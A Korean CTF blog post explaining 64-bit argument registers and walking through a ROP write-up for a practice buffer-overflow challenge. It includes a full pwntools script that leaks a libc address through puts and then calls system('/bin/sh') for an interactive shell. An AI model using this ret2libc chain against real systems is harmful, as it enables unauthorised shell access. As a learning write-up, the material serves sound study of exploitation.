안 쓰던 블로그

64bit ROP 본문

CTF/Pwnable

64bit ROP

proqk 2020. 12. 9. 11:05
반응형

64bit의 인자

32bit 아키텍쳐에서는 함수 호출시 인자를 스택에 저장했다

64bit에서는 함수의 인자를 레지스터 6개와 스택에 저장한다

인자를 저장하는 순서는 다음과 같다

---레지스터---

rdi: 첫 번째

rsi: 두 번째

rdx: 세 번째

rcx: 네 번째

r8: 다섯 번째

r9: 여섯 번째

---스택---

r10(%rsp): 일곱 번째

r11, 0x8(%rsp): 여덟 번째

...

 

예를 들어 만약에 이런 printf코드가 있을 때

printf("%d %d %d %d %d %d", 1,2,3,4,5,6);

gdb로 디스어셈블한 결과는 아래처럼 된다

...
push 0x6 #7번 인자, 스택에 저장
mov r9d, 0x5 #6번 인자
mov r8d, 0x4 #5번 인자
mov ecx, 0x3 #4번 인자
mov edx, 0x2 #3번 인자
mov esi, 0x1 #2번 인자
mov edi, 0x4005f4 #1번 인자, printf주소값
...

그리고 printf를 x/s 0x4005f4 로 다시 보면

0x4005f4: "%d %d %d %d %d %d"

이런 식으로 뜬다

 

64bit ROP

드림핵 basic_rop_x64

40크기의 배열에 400만큼 입력받는 버퍼오버플로우 문제

 

payload = "A"*0x40 #BUF
payload += p64(1) #SFP 8bite
#payload += p64() #RET (64bit function gyuyack)
payload += p64(addr_prdi) #RET
payload+=p64(0x601028) #alarm 
payload+=p64(binf.plt['puts'])
payload+=p64(binf.symbols['main'])

40만큼 더미 값에 64비트니까 8바이트 더하고, pop rdi 주소를 보낸다

RET값을 원하는 함수 주소로 덮고 puts를 호출해서 넘긴다

그리고 다시 main을 호출해서 main으로 되돌아 간다

 

#!/usr/bin/env python
from pwn import *

p = process("./chall")
binf = ELF("./chall")

addr_prdi = 0x00400883

#pause()
payload = "A"*0x40 #BUF
payload += p64(1) #SFP 8bite
#payload += p64() #RET (64bit function gyuyack)
payload += p64(addr_prdi) #RET
payload+=p64(0x601028) #alarm 
payload+=p64(binf.plt['puts'])
payload+=p64(binf.symbols['main'])

p.send(payload)
libc_alarm = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
u64 8바이트
recv는 6바이트
recv는 대부분 주소 7f로 시작함
6바이트 다 가져옴 -6으로
마지막 00바이트를 추가

libc_base = libc_alarm - 0xcb2d0
libc_system = libc_base +0x48e20
libc_binsh = libc_base +0x18a143
success(hex(libc_alarm))
success(hex(libc_base))
success(hex(libc_system))

#p.send("A"*(0x40+0x8)+p64(libc_binsh))
payload = "A"*0x40
payload+=p64(1)
payload+=p64(addr_prdi)
payload+=p64(libc_binsh)
payload+=p64(libc_system)
p.send(payload)
p.recv() 
p.interactive()
반응형

'CTF > Pwnable' 카테고리의 다른 글

sint (bof) 문제 풀이  (1) 2021.03.20
pop rdi  (0) 2020.12.30
64it ROP  (0) 2020.11.28
32bit ROP  (0) 2020.11.10
32bit와 64bit - x86과 x64 비교  (0) 2020.10.13
Comments